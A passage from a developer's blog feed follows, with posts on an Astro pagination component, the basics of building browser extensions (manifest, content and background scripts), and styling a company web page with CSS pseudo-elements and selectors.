&lt;p&gt;So I had diverged from how Ted implemented the parameters for this pagination component.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;There are 5 &quot;types&quot; of links on a pagination component, or at least for this particular UI pattern I was trying to follow.&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Go to first page&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Go to previous page&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Go to X page number&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;Go to next page&lt;/li&gt;
  &lt;li&gt;Go to last page&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Astro has &lt;a href=&quot;https://docs.astro.build/en/guides/routing/#pagination&quot;&gt;built-in Pagination support&lt;/a&gt;, and with use of the &lt;code&gt;paginate()&lt;/code&gt; function, each page gets page-related data via a &lt;a href=&quot;https://docs.astro.build/en/guides/routing/#the-page-prop&quot;&gt;&lt;code&gt;page&lt;/code&gt; prop&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;page&lt;/code&gt; prop provided all the parameters I need to fulfil the above 5 types of links on the Pagination component I was trying to build. So on the &lt;code&gt;[...page].astro&lt;/code&gt; listing component, the parameters where passed into the Pagination component as follows:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;&amp;lt;Pagination
  length=&amp;quot;{page.lastPage}&amp;quot; /** number of last page */
  currentPage=&amp;quot;{page.currentPage}&amp;quot; /** the current page number, starting from 1 */
  firstUrl=&amp;quot;{page.url.first}&amp;quot; /** url of the first page (if the current page is not the first page) */
  prevUrl=&amp;quot;{page.url.prev}&amp;quot; /** url of the previous page (if there is one) */
  nextUrl=&amp;quot;{page.url.next}&amp;quot; /** url of the next page (if there is one) */
  lastUrl=&amp;quot;{page.url.last}&amp;quot; /** url of the last page (if the current page in not the last page) */
/&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, because the &lt;code&gt;url&lt;/code&gt; data returns &lt;code&gt;undefined&lt;/code&gt; when it doesn&apos;t exist, we can build logic to make sure there are no broken links in the pagination. The &amp;quot;edge&amp;quot; cases are when you hit the first page and when you hit the last page.&lt;/p&gt;
&lt;p&gt;So the checks can be done like so:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;{
  firstUrl ? (
    &amp;lt;a href={`/developers${firstUrl}`} class=&amp;quot;pagination__link&amp;quot;&amp;gt;
      &amp;amp;#171;
    &amp;lt;/a&amp;gt;
  ) : (
    &amp;lt;span class=&amp;quot;pagination__link disabled&amp;quot;&amp;gt;&amp;amp;#171;&amp;lt;/span&amp;gt;
  );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And so on and so forth for the rest of the cases. Putting everything together, the pagination component ends up looking like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;---
const { length, currentPage, firstUrl, prevUrl, nextUrl, lastUrl } = Astro.props;
const paginationList = Array.from({length}, (_, i) =&amp;gt; i + 1);
---
&amp;lt;nav aria-label=&amp;quot;Blog pages&amp;quot; class=&amp;quot;pagination&amp;quot;&amp;gt;
  {firstUrl ? (
    &amp;lt;a href={`${firstUrl}`} class=&amp;quot;pagination__link&amp;quot;&amp;gt;&amp;amp;#171;&amp;lt;/a&amp;gt;
  ) : (
  &amp;lt;span class=&amp;quot;pagination__link disabled&amp;quot;&amp;gt;&amp;amp;#171;&amp;lt;/span&amp;gt;
  )}

  {prevUrl ? (
    &amp;lt;a href={`${prevUrl}`} class=&amp;quot;pagination__link&amp;quot;&amp;gt;&amp;amp;#8249;&amp;lt;/a&amp;gt;
  ) : (
    &amp;lt;span class=&amp;quot;pagination__link disabled&amp;quot;&amp;gt;&amp;amp;#8249;&amp;lt;/span&amp;gt;
  )}

  {paginationList.map((num) =&amp;gt; (
    &amp;lt;a
      href={`/developers/blog${num == 1 ? &amp;quot;&amp;quot; : &amp;quot;/&amp;quot; + num}`}
      class={`pagination__link ${currentPage == num ? &amp;quot;disabled active&amp;quot; : &amp;quot;&amp;quot;}`}
    &amp;gt;
      {num}
    &amp;lt;/a&amp;gt;
  ))}

  {!nextUrl ? (
    &amp;lt;span class=&amp;quot;pagination__link disabled&amp;quot;&amp;gt;&amp;amp;#8250;&amp;lt;/span&amp;gt;
  ) : (
    &amp;lt;a href={`${nextUrl}`} class=&amp;quot;pagination__link&amp;quot;&amp;gt;&amp;amp;#8250;&amp;lt;/a&amp;gt;
  )}

  {lastUrl ? (
    &amp;lt;a href={`${lastUrl}`} class=&amp;quot;pagination__link&amp;quot;&amp;gt;&amp;amp;#187;&amp;lt;/a&amp;gt;
  ) : (
    &amp;lt;span class=&amp;quot;pagination__link disabled&amp;quot;&amp;gt;&amp;amp;#187;&amp;lt;/span&amp;gt;
  )}
&amp;lt;/nav&amp;gt;

&amp;lt;style&amp;gt;
/* all my pagination styling */
&amp;lt;/style&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;Did I do all this by myself? Of course not. I had the help of the most patient human rubber duck / TypeScript therapist / overall programming whiz that I&apos;ve had the privilege of being friends with, &lt;a href=&quot;https://github.com/yishus&quot;&gt;See Yishu&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Astro uses TypeScript by default, and 80% of the time, we&apos;re fine. We have a cordial relationship, TypeScript and I. But then, there are times when TypeScript yells at me, and I just don&apos;t know why.&lt;/p&gt;
&lt;p&gt;I have a bad analogy using terrible stereotype but it&apos;s like when the girlfriend gets mad at her partner and when the partner asks, &amp;quot;Why are you mad at me?&amp;quot;, the girlfriend responds &amp;quot;You should know. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;mad face&quot;&gt;😤&lt;/span&gt;&amp;quot;&lt;/p&gt;
&lt;p&gt;Do you know who I call when TypeScript yells at me? Yes, I call Yishu. Because she&apos;s the best TypeScript therapist I know.&lt;/p&gt;
&lt;p&gt;Anyway, times are chaotic. Take care of yourselves, my friends. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person in lotus position&quot;&gt;🧘&lt;/span&gt;&lt;/p&gt;
</content:encoded></item><item><title>Learning web extensions</title><link>https://chenhuijing.com/blog/learning-web-extensions/</link><guid isPermaLink="true">https://chenhuijing.com/blog/learning-web-extensions/</guid><description>I blinked and the first month of 2025 went by. NGL, 2024 was…challenging. So forgive me for choosing to just shut down during the end of last year. But I did…</description><pubDate>Sat, 08 Feb 2025 21:14:50 GMT</pubDate><content:encoded>&lt;p&gt;I blinked and the first month of 2025 went by. NGL, 2024 was…challenging. So forgive me for choosing to just shut down during the end of last year. But I did do some things that I thought were worth sharing and I have deferred that until now.&lt;/p&gt;
&lt;p&gt;It&apos;s the first day of the Lunar New Year and I&apos;m sitting in my childhood bedroom at mom&apos;s house typing this up on top of her sewing machine. &lt;span class=&quot;kaomoji&quot;&gt;¯\_(ツ)_/¯&lt;/span&gt; &lt;em&gt;Update: I did not finish this until 2 weeks later, don&apos;t judge.&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Why web extensions?&lt;/h2&gt;
&lt;p&gt;There was a point in time where I did a lot of conference speaking, and that died down quite a bit during the pandemic, but occasionally I will still talk to people about building stuff on the web. So I gave a talk titled &amp;quot;&lt;a href=&quot;https://javascript-conference.com/javascript-practices-tools/browser-extensions-html-css-javascript/&quot;&gt;Expanding the browser experience with web extensions&lt;/a&gt;&amp;quot; at InternationalJS Singapore.&lt;/p&gt;
&lt;p&gt;My interest in web extensions stemmed from the fact that our team at the &lt;a href=&quot;https://interledger.org/&quot;&gt;Interledger Foundation&lt;/a&gt; has been working toward getting the &lt;a href=&quot;https://webmonetization.org/&quot;&gt;Web Monetization&lt;/a&gt; &lt;a href=&quot;https://webmonetization.org/specification/&quot;&gt;standard&lt;/a&gt; implemented in browsers.&lt;/p&gt;
&lt;p&gt;But most of us familiar with web standards know that realistically, getting a new feature into browsers is comparable to watching your toddler finally pack up and leave for college.&lt;/p&gt;
&lt;p&gt;No I&apos;m just joking.&lt;/p&gt;
&lt;p&gt;Kinda.&lt;/p&gt;
&lt;p&gt;The next best thing we could do was to build a web extension that would implement all the behaviours specified in the standard so we could get feedback on what we were proposing, allowing us to make adjustments to how we envisioned how the APIs would work and hopefully enhance the overall experience of web monetization.&lt;/p&gt;
&lt;h2&gt;What is a web extension?&lt;/h2&gt;
&lt;p&gt;This post will NOT be talking about what the boys did to build the web monetization because that has now become a beast of a piece of software at this point. You can read &lt;a href=&quot;https://sidvishnoi.com/&quot;&gt;Sid Vishnoi&lt;/a&gt;&apos;s blog post on &lt;a href=&quot;https://interledger.org/developers/blog/e2e-testing-wm-browser-extension/&quot;&gt;End-to-end testing the Web Monetization browser extension&lt;/a&gt; on our engineering blog to get an idea of the scope of the extension.&lt;/p&gt;
&lt;p&gt;No, we are going to the basics of basics of web extensions. Because we have to learn to flip over and sit up before we can even stand.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://www.w3.org/community/webextensions/&quot;&gt;Web Extensions community group&lt;/a&gt; on W3C was launched in 2021, initiated by Apple, Google, Microsoft and Mozilla with the aim of aligning on a common vision for browser extensions and to work towards future standardisation.&lt;/p&gt;
&lt;p&gt;The heart of an extension is the &lt;em&gt;manifest.json&lt;/em&gt; file, which is the only mandatory file that must exist in any web extension. The manifest file contains metadata about the extension, as well as pointers to other files that make up the extension.&lt;/p&gt;
&lt;p&gt;These other files include background scripts, sidebars, popups and options pages, extension pages, content scripts and web accessible resources.&lt;/p&gt;
&lt;p&gt;This &lt;em&gt;manifest.json&lt;/em&gt; file has a specific syntax, and as of time of writing, the latest syntax is supposed to be v3. If you&apos;ve never followed the development of web extensions over time, you might not be aware that there has been quite some controversy around v3.&lt;/p&gt;
&lt;p&gt;I won&apos;t go into all the detail but to summarise the key criticisms: v3 has reduced web extensions from being treated like a first-class application with their own persistent execution environment to being treated like accessories with limited privileges and reactive execution capabilities. This is largely a consequence of making service workers mandatory and removing the “blocking webRequest” mechanism.&lt;/p&gt;
&lt;p&gt;Feel free to ask the Googles for more information if you&apos;re interested.&lt;/p&gt;
&lt;h3&gt;The &lt;em&gt;manifest.json&lt;/em&gt;&lt;/h3&gt;
&lt;p&gt;Here&apos;s an example of an extension that does nothing but showcases the bare requirements for the browser to recognise an extension exists:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &amp;quot;manifest_version&amp;quot;: 3,
  &amp;quot;name&amp;quot;: &amp;quot;AE1&amp;quot;,
  &amp;quot;version&amp;quot;: &amp;quot;1.0&amp;quot;,

  &amp;quot;description&amp;quot;: &amp;quot;This extension doesn&apos;t actually do anything&amp;quot;,
  &amp;quot;icons&amp;quot;: {
    &amp;quot;32&amp;quot;: &amp;quot;icons/icon32.png&amp;quot;,
    &amp;quot;48&amp;quot;: &amp;quot;icons/icon48.png&amp;quot;
  },

  &amp;quot;action&amp;quot;: {
    &amp;quot;default_popup&amp;quot;: &amp;quot;nothing.html&amp;quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Full code here: &lt;a href=&quot;https://github.com/huijing/slides/tree/gh-pages/109-ijs-2024/extensions/AE1&quot;&gt;https://github.com/huijing/slides/tree/gh-pages/109-ijs-2024/extensions/AE1&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The &lt;em&gt;manifest.json&lt;/em&gt; will have the 3 mandatory keys, of &lt;code&gt;manifest_version&lt;/code&gt;, &lt;code&gt;name&lt;/code&gt; and &lt;code&gt;version&lt;/code&gt;. Included in the example is also the &lt;code&gt;description&lt;/code&gt;, &lt;code&gt;icons&lt;/code&gt; and &lt;code&gt;action&lt;/code&gt; keys.&lt;/p&gt;
&lt;p&gt;Although &lt;code&gt;description&lt;/code&gt; and &lt;code&gt;icons&lt;/code&gt; are optional, they are required if you want to publish your extension to the Chrome Web Store. They also do enhance the user experience, because they give your extension a pretty icon and a proper description.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;action&lt;/code&gt; determines how the extension looks like in the browser toolbar, and what clicking on it does. &lt;code&gt;popup&lt;/code&gt; can contain any HTML content and the window will be automatically sized to fit the content.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;html&amp;gt;
  &amp;lt;body&amp;gt;
    &amp;lt;h1&amp;gt;Nothing&amp;lt;/h1&amp;gt;
  &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To add some style and interactivity to the extension, CSS and JavaScript can be included by link or style and script elements.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;html&amp;gt;
  &amp;lt;body&amp;gt;
    &amp;lt;h1&amp;gt;Nothing&amp;lt;/h1&amp;gt;
    &amp;lt;button&amp;gt;Something&amp;lt;/button&amp;gt;
  &amp;lt;/body&amp;gt;
  &amp;lt;style&amp;gt;
    body {
      text-align: center;
    }
  &amp;lt;/style&amp;gt;
  &amp;lt;script src=&amp;quot;nothing.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;document.querySelector(&amp;quot;button&amp;quot;).addEventListener(&amp;quot;click&amp;quot;, () =&amp;gt; {
  document.querySelector(&amp;quot;h1&amp;quot;).style.color = &amp;quot;tomato&amp;quot;;
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The environment in which the popup operates is isolated from the web page content loaded by the browser. In this example, &lt;code&gt;nothing.js&lt;/code&gt; targets the extremely generic tag elements of &lt;code&gt;button&lt;/code&gt; and &lt;code&gt;h1&lt;/code&gt;, but the above code only affects the elements in the pop-up and not anything on the web page.&lt;/p&gt;
&lt;p&gt;If you&apos;re a frontend developer like me, you might prefer to have some visual feedback that your code has done something.&lt;/p&gt;
&lt;p&gt;To load the extension in Firefox, you&apos;ll have to load it up as a temporary add-on. The option to reload the extension after you made changes to the source is also available.&lt;/p&gt;
&lt;p&gt;For Chrome, you&apos;ll have to enable Developer Mode before you can load the unpacked extension. The same source works in both browsers.&lt;/p&gt;
&lt;h3&gt;Content scripts&lt;/h3&gt;
&lt;p&gt;When we want the extension to actually do something to the content on a web page, we will have use content scripts, which run in the context of the browser&apos;s loaded web page. This is the only way we can access content on the page from the extension.&lt;/p&gt;
&lt;p&gt;There are 3 ways to load an extension&apos;s content script into the web page, namely via static declaration, dynamic declaration or programmatically. These different methods allow for the widest range of use cases, whether you want the extension to modify the default experience out-the-box or based on specific triggers.&lt;/p&gt;
&lt;p&gt;Content scripts are isolated, in the sense that it can make changes to its own JavaScript environment without conflicting with the page or other extensions&apos; content scripts. Even though content scripts can access and change the DOM, they only see the &amp;quot;clean&amp;quot; version of the DOM that has not been modified by any JavaScript.&lt;/p&gt;
&lt;p&gt;Firefox and Chrome handle this isolation behaviour differently. In Firefox, the concept is called &lt;a href=&quot;https://firefox-source-docs.mozilla.org/dom/scriptSecurity/xray_vision.html&quot;&gt;Xray vision&lt;/a&gt;, where content scripts may encounter JavaScript objects from its own global scope or Xray-wrapped versions from the web page.&lt;/p&gt;
&lt;p&gt;While for Chrome, there exists the concept of 3 kinds of worlds, a main world, an &lt;a href=&quot;https://developer.chrome.com/docs/extensions/develop/concepts/content-scripts#isolated_world&quot;&gt;isolated world&lt;/a&gt; and a worker world. Each world has its own context, its own global variable scope and prototype chains.&lt;/p&gt;
&lt;p&gt;Content scripts have access to a specific and limited set of extension APIs directly, but for other APIs, a form of message exchange is required, which we will briefly touch upon in the next example.&lt;/p&gt;
&lt;p&gt;This extension consists of a button that will take over the entire web page and cover it with some pixel art sourced from the interwebs. Full code here: &lt;a href=&quot;https://github.com/huijing/slides/tree/gh-pages/109-ijs-2024/extensions/AE2&quot;&gt;https://github.com/huijing/slides/tree/gh-pages/109-ijs-2024/extensions/AE2&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &amp;quot;manifest_version&amp;quot;: 3,
  &amp;quot;name&amp;quot;: &amp;quot;AE2&amp;quot;,
  &amp;quot;version&amp;quot;: &amp;quot;1.0&amp;quot;,
  &amp;quot;description&amp;quot;: &amp;quot;Activate pixel art&amp;quot;,
  &amp;quot;icons&amp;quot;: {
    &amp;quot;32&amp;quot;: &amp;quot;icons/icon32.png&amp;quot;,
    &amp;quot;48&amp;quot;: &amp;quot;icons/icon48.png&amp;quot;
  },
  &amp;quot;permissions&amp;quot;: [&amp;quot;activeTab&amp;quot;, &amp;quot;scripting&amp;quot;],
  &amp;quot;action&amp;quot;: {
    &amp;quot;default_popup&amp;quot;: &amp;quot;pixel.html&amp;quot;
  },
  &amp;quot;web_accessible_resources&amp;quot;: [
    {
      &amp;quot;resources&amp;quot;: [
        &amp;quot;images/pixel-adventure-time.png&amp;quot;,
        &amp;quot;images/pixel-cat.jpg&amp;quot;,
        &amp;quot;images/pixel-city.png&amp;quot;,
        &amp;quot;images/pixel-zen-garden.png&amp;quot;
      ],
      &amp;quot;extension_ids&amp;quot;: [&amp;quot;*&amp;quot;],
      &amp;quot;matches&amp;quot;: [&amp;quot;*://*/*&amp;quot;]
    }
  ]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For the extension to recognise and load images, they need to be declared in the &lt;em&gt;manifest.json&lt;/em&gt; file with the &lt;code&gt;web_accessible_resources&lt;/code&gt; key. The extension also needs the &lt;code&gt;activeTab&lt;/code&gt; permission, which grants the extension extra privileges for the active tab only when an user interaction occurs and the scripting permission, which is required to use methods from the scripting API called in the content script.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;let id;
browser.tabs.query({ active: true, currentWindow: true }, (tabs) =&amp;gt; {
  id = tabs[0].id;
  browser.scripting.executeScript({
    target: { tabId: tabs[0].id },
    files: [&amp;quot;content.js&amp;quot;],
  });
  browser.scripting.insertCSS({
    target: { tabId: tabs[0].id },
    files: [&amp;quot;content.css&amp;quot;],
  });
});

document.getElementById(&amp;quot;pixelate&amp;quot;).addEventListener(&amp;quot;click&amp;quot;, () =&amp;gt; {
  browser.tabs.sendMessage(id, { message: &amp;quot;pixelate&amp;quot; });
});

document.getElementById(&amp;quot;reset&amp;quot;).addEventListener(&amp;quot;click&amp;quot;, () =&amp;gt; {
  browser.tabs.sendMessage(id, { message: &amp;quot;reset&amp;quot; });
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;browser.tabs.query()&lt;/code&gt; is used to obtain information about the tab we want to target, specifically, the tab ID, because the scripting method requires a tab ID to be passed into it, which makes sense since we have to specify the target we want to inject our script into, right?&lt;/p&gt;
&lt;p&gt;Same goes for injecting CSS. Was it possible to style the stuff being injected via JavaScript? Of course, it is. Should we do it that way? It&apos;s really up to you. I personally like my styles in CSS files, that&apos;s all.&lt;/p&gt;
&lt;p&gt;So what&apos;s this &lt;code&gt;sendMessage()&lt;/code&gt; method then? Well, because content scripts run in the context of the web page and not the extension itself, this is the way for the content script to communicate with the extension. The extension and the content scripts will listen for each other&apos;s messages and respond on the same channel.&lt;/p&gt;
&lt;p&gt;To access images supplied with the extension, the &lt;code&gt;runtime.getURL()&lt;/code&gt; method is used, which converts the relative path of the image into a fully-qualified URL that the browser can render properly. And finally, the &lt;code&gt;runtime.onMessage()&lt;/code&gt; event is used to listen for messages.&lt;/p&gt;
&lt;h3&gt;Background scripts&lt;/h3&gt;
&lt;p&gt;Another type of script that is seen in web extensions are background scripts. They are meant to monitor events in the browser and react to them accordingly. For example, if we wanted to implement keyboard shortcuts for our extension, we could make use of a background script to listen for specific commands and trigger some action accordingly.&lt;/p&gt;
&lt;p&gt;The next example will add some keyboard shortcuts to the extension by making use of a background script. Full code here: &lt;a href=&quot;https://github.com/huijing/slides/tree/gh-pages/109-ijs-2024/extensions/AE3&quot;&gt;https://github.com/huijing/slides/tree/gh-pages/109-ijs-2024/extensions/AE3&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;There are some additions that need to be made to the &lt;em&gt;manifest.json&lt;/em&gt; file to get things to work.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &amp;quot;background&amp;quot;: {
    &amp;quot;service_worker&amp;quot;: &amp;quot;background.js&amp;quot;, // v3 syntax
    &amp;quot;scripts&amp;quot;: [&amp;quot;background.js&amp;quot;] // v2 syntax
  },
  &amp;quot;commands&amp;quot;: {
    &amp;quot;_execute_action&amp;quot;: {
      &amp;quot;suggested_key&amp;quot;: {
        &amp;quot;default&amp;quot;: &amp;quot;Ctrl+Shift+Y&amp;quot;
      }
    },
    &amp;quot;pixelate&amp;quot;: {
      &amp;quot;suggested_key&amp;quot;: {
        &amp;quot;default&amp;quot;: &amp;quot;Alt+A&amp;quot;
      },
      &amp;quot;description&amp;quot;: &amp;quot;Send a &apos;pixelate&apos; event to the extension&amp;quot;
    },
    &amp;quot;reset&amp;quot;: {
      &amp;quot;suggested_key&amp;quot;: {
        &amp;quot;default&amp;quot;: &amp;quot;Ctrl+Shift+E&amp;quot;
      },
      &amp;quot;description&amp;quot;: &amp;quot;Send a &apos;reset&apos; event to the extension&amp;quot;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The Commands API lets us define commands and bind them to specific key combinations. These commands must first be declared as properties in the &lt;em&gt;manifest.json&lt;/em&gt; file. We then listen for an onCommand event to be fired using the background script and run whatever we want to run when the correct key combination is pressed.&lt;/p&gt;
&lt;p&gt;There are 4 special shortcuts with default actions for which the &lt;code&gt;onCommand&lt;/code&gt; event doesn&apos;t fire, and &lt;code&gt;_execute_action&lt;/code&gt; is one of them. This shortcut acts as if the user clicked on the extension icon in the toolbar.&lt;/p&gt;
&lt;p&gt;In the &lt;em&gt;background.js&lt;/em&gt; file, we make use of the &lt;code&gt;onCommand.addListener&lt;/code&gt; to bind a handler to each of the commands listed in the manifest. As mentioned previously, the &lt;code&gt;_execute_action&lt;/code&gt; command doesn&apos;t trigger an event, so we don&apos;t need a handler for that.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;This covers all the basic information required to get started with web extension development. The extension can be as simple as changing the colour of text on the page or as complicated as a full-fledged application (yes, you can use React to build your extension if you so choose).&lt;/p&gt;
&lt;p&gt;I suppose if you&apos;re wary of dodgy extension store downloads, you could always build your own extension to do exactly what you want it to do, so why not?&lt;/p&gt;
</content:encoded></item><item><title>Chill day just HTML-ing and CSS-ing</title><link>https://chenhuijing.com/blog/chill-day-just-html-ing-and-css-ing/</link><guid isPermaLink="true">https://chenhuijing.com/blog/chill-day-just-html-ing-and-css-ing/</guid><description>I have not had as many chances to build websites lately because for a little over the past 100 days, I&apos;ve been in a non-developer role at work. It&apos;s not really…</description><pubDate>Fri, 01 Nov 2024 12:38:36 GMT</pubDate><content:encoded>&lt;p&gt;I have not had as many chances to build websites lately because for a little over the past 100 days, I&apos;ve been in a non-developer role at work. It&apos;s not really my cup of tea, but I committed to filling the role and therefore I must give my best.&lt;/p&gt;
&lt;p&gt;However, I really would very much prefer to be building websites. And so, when my friend, &lt;a href=&quot;https://www.linkedin.com/in/kgiori&quot;&gt;Kathy Giori&lt;/a&gt;, reached out about helping out with her company website&apos;s redesign implementation, you cannot imagine the glee I felt. And how thankful I was that she let me run wild in her GitHub repo. &lt;em&gt;I didn&apos;t actually run wild, I branched out and made a PR, like responsible developers do&lt;/em&gt;. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;mad face&quot;&gt;😤&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Today is my off-day, which means I get to sit in the same spot as I do when I&apos;m at work but do something completely non-work related. Some people watch Netflix, some people play games, I indulge in my love of writing HTML and CSS.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Update: It&apos;s live! Check it out at &lt;a href=&quot;https://tricyrcle.com/&quot;&gt;https://tricyrcle.com/&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Not a complicated web page&lt;/h2&gt;
&lt;p&gt;Don&apos;t get me wrong, I do like the challenge of figuring out how to build all those special effects and interactions and things flying around the page, it&apos;s genuinely fun to do that. But I also enjoy the simple, straight-forward web page.&lt;/p&gt;
&lt;img src=&quot;/images/posts/chill-html-css/page.png&quot; srcset=&quot;/images/posts/chill-html-css/page@2x.png 2x&quot; alt=&quot;Above the fold design of the new Tricrycle website&quot;&gt;
&lt;p&gt;This is a mostly single column layout, with some components within sections having side by side content. Such a design also performs very well on a narrow viewport. In the grand scheme of things, I probably spent more time trying to figure out how to get my Sequoia 15.0.1 macOS to run &lt;code&gt;pip&lt;/code&gt; correctly so I could subset fonts than I did building this page.&lt;/p&gt;
&lt;h3&gt;Layered design with pseudo-elements&lt;/h3&gt;
&lt;p&gt;The most interesting bit of the design was this background half peaking out behind a piece of content that already had a background colour. I recognise this is a horrible description, so please refer to the image below. And if you are unable to see the image, again, I sincerely apologise for my lack of explanation skills.&lt;/p&gt;
&lt;img src=&quot;/images/posts/chill-html-css/background.png&quot; srcset=&quot;/images/posts/chill-html-css/background@2x.png 2x&quot; alt=&quot;Screenshot of the design I was trying describe&quot;&gt;
&lt;p&gt;Although my first thought was &lt;code&gt;box-shadow&lt;/code&gt; but realistically, there is no way to rotate the shadow while leaving the original element untouched. If I&apos;m wrong about this, please let me know. So I reach for my other trusty technique, the pseudo-element.&lt;/p&gt;
&lt;p&gt;And because my brain is still time-zoned out from a month of travel, I ended up having to refer to my own blog post from 2 years ago on implementing shadow-style designs (&lt;a href=&quot;/blog/css-card-shadow-effects/&quot;&gt;CSS card shadow effects&lt;/a&gt;) to figure out how to get the pseudo-element be the same height as the parent element.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;position&lt;/code&gt;. The answer is &lt;code&gt;position&lt;/code&gt;. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person facepalming&quot;&gt;🤦&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.info-privacy::before {
  display: block;
  content: &amp;quot;&amp;quot;;
  position: absolute;
  top: 0;
  left: 0;
  height: 100%;
  width: 100%;
  background-color: var(--brand-cyan);
  transform: rotate(-2deg);
  border-radius: var(--border-radius);
  z-index: -1;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I also had another brief moment of “eh, why is this happening” when I saw that the pseudo-element was just not in the right position. But that one came to me after a couple of minutes, so it wasn&apos;t that bad. Remember to tell the absolutely positioned element what its offset needs to be. That&apos;s all.&lt;/p&gt;
&lt;h3&gt;You can google math&lt;/h3&gt;
&lt;p&gt;If you look at the screenshot above, you&apos;ll also see there are a few steps cards that are rotated in different angles. There are actually 4 of them but only 3 different colours so the fourth one is blue again. And I couldn&apos;t figure out the &lt;code&gt;n&lt;/code&gt; formula by myself. Thankfully, you can google math on the internet and I managed to get the answer: &lt;code&gt;nth-of-type(3n - 2)&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.affordable-privacy li:nth-of-type(3n - 2) {
  background-color: var(--brand-cyan);
}

.affordable-privacy li:nth-of-type(2) {
  background-color: var(--brand-chartreuse);
}

.affordable-privacy li:nth-of-type(3) {
  background-color: var(--brand-orange);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Did I need to do math? Not really, I could have just gone with &lt;code&gt;li:first-of-type&lt;/code&gt; and &lt;code&gt;li:nth-of-type(4)&lt;/code&gt; as 2 separate selectors but &lt;span class=&quot;kaomoji&quot;&gt;¯\_(ツ)_/¯&lt;/span&gt;&lt;/p&gt;
&lt;h2&gt;Download CantinaVPN&lt;/h2&gt;
&lt;p&gt;So the whole reason why I was enjoying afternoon building this web page is because Tricrycle Corporation, which is Kathy&apos;s project, now has proper branding, with a brand guidelines document and all that good stuff.&lt;/p&gt;
&lt;p&gt;The organisation is behind CantinaVPN (&lt;a href=&quot;https://play.google.com/store/apps/details?id=org.vpn&amp;amp;hl=en&amp;amp;pli=1&quot;&gt;Google Play&lt;/a&gt;/&lt;a href=&quot;https://apps.apple.com/us/app/cantinavpn/id1610883564&quot;&gt;App Store&lt;/a&gt;), which is an affordable VPN solution that does not collect any private information from you. No registration, no login. You remain anonymous.&lt;/p&gt;
&lt;p&gt;It&apos;s good stuff, and if you&apos;re wondering where the website is, well, the team is busy building the VPN software, so the website is a little on the back-burner, and that&apos;s how I got this sliver of opportunity to help out.&lt;/p&gt;
&lt;h2&gt;Wrap up&lt;/h2&gt;
&lt;p&gt;This is a short post because there really wasn&apos;t that much to building the page, other than the fact that I was very chill and at peace for about 2.5 hours on this off day. I also decided to take a stab at recording the whole thing just to see how it would look sped up.&lt;/p&gt;
&lt;video controls preload=&quot;metadata&quot;&gt;
  &lt;source src=&quot;/videos/chill-html-css.mp4&quot; type=&quot;video/mp4&quot; /&gt;
&lt;/video&gt;
&lt;p&gt;Full disclosure, I realised the site needed more than just one page, so I moved the whole thing to Astro, but that took like all of 15 minutes. Which is another reason why I&apos;m fond of Astro, it&apos;s very close to vanilla flavoured web development, just the way I like it.&lt;/p&gt;
